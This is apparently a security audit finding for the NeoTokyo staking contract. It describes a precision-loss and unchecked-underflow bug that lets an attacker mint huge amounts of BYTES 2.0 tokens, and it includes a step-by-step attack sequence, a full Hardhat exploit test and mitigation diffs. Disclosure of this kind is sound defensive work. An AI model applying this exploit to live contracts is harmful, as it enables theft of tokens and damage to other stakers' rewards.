Lines of code
<https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631&gt;

Vulnerability details

Impact

An attacker can mint a huge amount of BYTES 2.0 tokens for himself. Additionally, the rewards system can be permanently damaged by making the pool.totalPoints a huge number, not reflecting the actual state of the system.

Proof of Concept

There are two core ideas on how the exploit works:

The first one is to take advantage of a precision loss on the _stakeLP() function for the points calculation. So that it keeps the stakerLPPosition.points in zero, while increasing the stakerLPPosition.amount to its corresponding amount.

The second one is to abuse the _withdrawLP() function to perform an underflow on the unchecked operations regarding the substraction of points, namely: lpPosition.points -= points. Once the attacker gets a huge amount of points because of the underflow, they can be claimed for BYTES 2.0 tokens via the getReward() function.

POC Description

• Call NeoTokyoStaker.stake() with _assetType = LP and amount = 1e16 - 1

• Call NeoTokyoStaker.stake() again with _assetType = LP and amount = 1e16 - 1

• stakerLPPosition[msg.sender].amount will be (1e16 - 1) * 2

• stakerLPPosition[msg.sender].points will be 0 because of the precision loss

• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime

• Call NeoTokyoStaker.withdraw() with _assetType = LP and amount = (1e16 - 1) * 2

• The points calculation will not suffer of precision loss now, and will be a number > 0

• stakerLPPosition[msg.sender].points will underflow and become a huge number

• Call BYTES2.getReward() with the attacker address

• share will be calculated as a huge number because it is directly proportional to points

• A huge amount of BYTES 2.0 tokens will be minted to the attacker

Vulnerability Explanation

When staking LP tokens, the NeoTokyoStaker._stakeLP function is called. For values amount < 1e16, the amount will be added to the previous staker LP position, but the points will be calculated as 0, and no points will be added to the position nor the pool totalPoints.

This is because of a precision loss on the line:

uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a bigger amount value.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

1154:		unchecked {
1155:			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; // @audit precision loss
1156:
1157:			// Update the caller's LP token stake.
1158:			stakerLPPosition[msg.sender].timelockEndTime =
1159:				block.timestamp + timelockDuration;
1160:			stakerLPPosition[msg.sender].amount += amount;  // @audit-info amount is added normally
1161:			stakerLPPosition[msg.sender].points += points; // @audit 0 points are added
1162:
1163:			// Update the pool point weights for rewards.
1164:			pool.totalPoints += points; // @audit-info 0 points are added
1165:            }

Link to code

In order to perform the attack, the attacker can stake amount = 1e16 - 1 two times in the LP staking pool. That number is the max stakeable amount that will add zero points. It is done two times, so that it surpasses the precision loss threshold when withdrawing.

After waiting for the timelock period, the attacker can call the underlying _withdrawLP with amount = (2e16 - 2). The points are calculated with the same function as in _stakeLP(), but in this case the amount is enough to make the variable be calculated as points = 1.

The previous lpPosition.points was 0. So, because of that, and that the calculation is done inside an unchecked block, the result will be an underflow, close to the uint256 max value.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

1622:		unchecked {
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
1624:
1625:			// Update the caller's LP token stake.
1626:			lpPosition.amount -= amount;
1627:			lpPosition.points -= points; // @audit underflow
1628:
1629:			// Update the pool point weights for rewards.
1630:			pool.totalPoints -= points;
1631:		}

Link to code

The attacker now has a huge amount of points that can be claimed for a huge amount of BYTES 2.0 tokens, via the BYTES2.getReward() function. This is the main point of the reported issue, and is detailed on the POC Test.

Additionally, after the exploit, the pool.totalPoints will not reflect the real total points of the pool, leading to also to a possible underflow when withdrawing tokens from the LP staking pool, by the attacker or even by normal usage.

POC Test

Include this test on the test/NeoTokyoStaker.test.js inside the main describe:

describe("exploit", function () {
  let attacker, attackerStakeTime, alice;

  beforeEach(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };

    attacker = {
      provider: signers[6].provider,
      signer: signers[6],
      address: addresses[6],
    };

    // Configure the LP token contract address on the staker.
    await NTStaking.connect(owner.signer).configureLP(LPToken.address);

    // Mint testing LP tokens to attacker and approve transfer to the staker.
    await LPToken.mint(attacker.address, ethers.utils.parseEther("1"));
    await LPToken.connect(attacker.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );

    // Mint testing LP tokens to Alice and approve transfer to the staker.
    // Alice will be staking to provide liquidity and satisfy the if (pool.totalPoints != 0) {}
    // condition on the NeoTokyoStaker.getPoolReward() function
    await LPToken.mint(alice.address, ethers.utils.parseEther("100000"));
    await LPToken.connect(alice.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );
    await NTStaking.connect(alice.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("10000"),
      0,
      0
    );
  });

  it.only("mints a huge amount of BYTES to the attacker and breaks the LP pool totalAmount", async () => {
    // The idea is to stake the maximum amount that will return 0 points
    // It's done two times, so that the position is: amount = (2e16 - 2) and points = 0

    // Stake attackers LP tokens for 30 days.
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1
      0,
      0
    );

    // Stake attacker LP tokens again
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1
      0,
      0
    );

    // Get the time at which the attacker staked
    const priorBlockNumber = await ethers.provider.getBlockNumber();
    const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    attackerStakeTime = priorBlock.timestamp;

    // Verify that the attacker position has: amount = (2e16 - 2) and points = 0
    const attackerPosition = await NTStaking.getStakerPositions(
      attacker.address
    );
    attackerPosition.stakedLPPosition.amount.should.be.equal(
      ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2
    );
    attackerPosition.stakedLPPosition.points.should.be.equal(0);

    // Wait for the timelock
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30,
    ]);

    // Withdraw attacker LP tokens
    // This will underflow the points variable under the hood
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2
    );

    // Verify that the staked position of the attacker underflowed
    // The attacker now has a huge amount of points
    const attackerPositionAfterWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    const HUGE_POINTS =
      "115792089237316195423570985008687907853269984665640564039457584007913129639935";
    attackerPositionAfterWithdraw.stakedLPPosition.points.should.be.equal(
      HUGE_POINTS
    );

    // Verify that the attacker doesn't have any BYTES before the rewards
    const initialAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    initialAttackerBytes.should.be.equal(0);

    // Wait for a minimum amount of time so that the windowCount and totalReward > 0
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30 + 1,
    ]);

    // Mint BYTES tokens as a reward
    // The attacker has successfully minted a huge amount of tokens
    await NTBytes2_0.connect(attacker.signer).getReward(attacker.address);
    const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    const HUGE_BYTES =
      "47236901774595398034497056415802841175609457665481691995646113483";
    finalAttackerBytes.should.be.equal(HUGE_BYTES);

    // Additional: Showcase how the totalPoints variable can be totally broken, and thus the rewards system
    // This is a very simplified example, as in this case Alice is the only other staker
    // But it shows one example on how an erroneous value of totalPoints can be exploited
    // @audit-info Change visibility of NeoTokyoStaker._pools to public for testing this
    if (NTStaking._pools) {
      // Withdraw Alice LP tokens
      const initialPool = await NTStaking._pools(ASSETS.LP.id);
      initialPool.totalPoints.should.be.equal(999999);
      await NTStaking.connect(alice.signer).withdraw(
        ASSETS.LP.id,
        ethers.utils.parseEther("10000")
      );

      // Verify that the totalPoints reflects a huge number
      // This will break any rewards calculation for any user
      const HUGE_TOTAL_POINTS =
        "115792089237316195423570985008687907853269984665640564039457584007913129639935";
      const finalPool = await NTStaking._pools(ASSETS.LP.id);
      finalPool.totalPoints.should.be.equal(HUGE_TOTAL_POINTS);
    }
  });
});

Tools Used

Manual review

Recommended Mitigation Steps

Calculate the points value considering previous stakings. This translates into no point being given if the minimum amount is not reached, but as soon as the value is reached, it will give at least one point. No matter if it is via one stake or multiple smaller stakes.

Also improve the precision loss by performing multiplications before divisions.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

		unchecked {
-                       uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
+                       uint256 newAmount = stakerLPPosition[msg.sender].amount + amount;
+                       uint256 newPoints = newAmount * 100 * timelockMultiplier / 1e18 / _DIVISOR;
+                       uint256 points = newPoints - stakerLPPosition[msg.sender].points;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}

The _withdrawLP function must calculate the points the same way as _stakeLP. Consider creating an auxiliary function that both methods use.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

		unchecked {
-			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
+                       uint256 points = amount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}  

---

The text was updated successfully, but these errors were encountered:

All reactions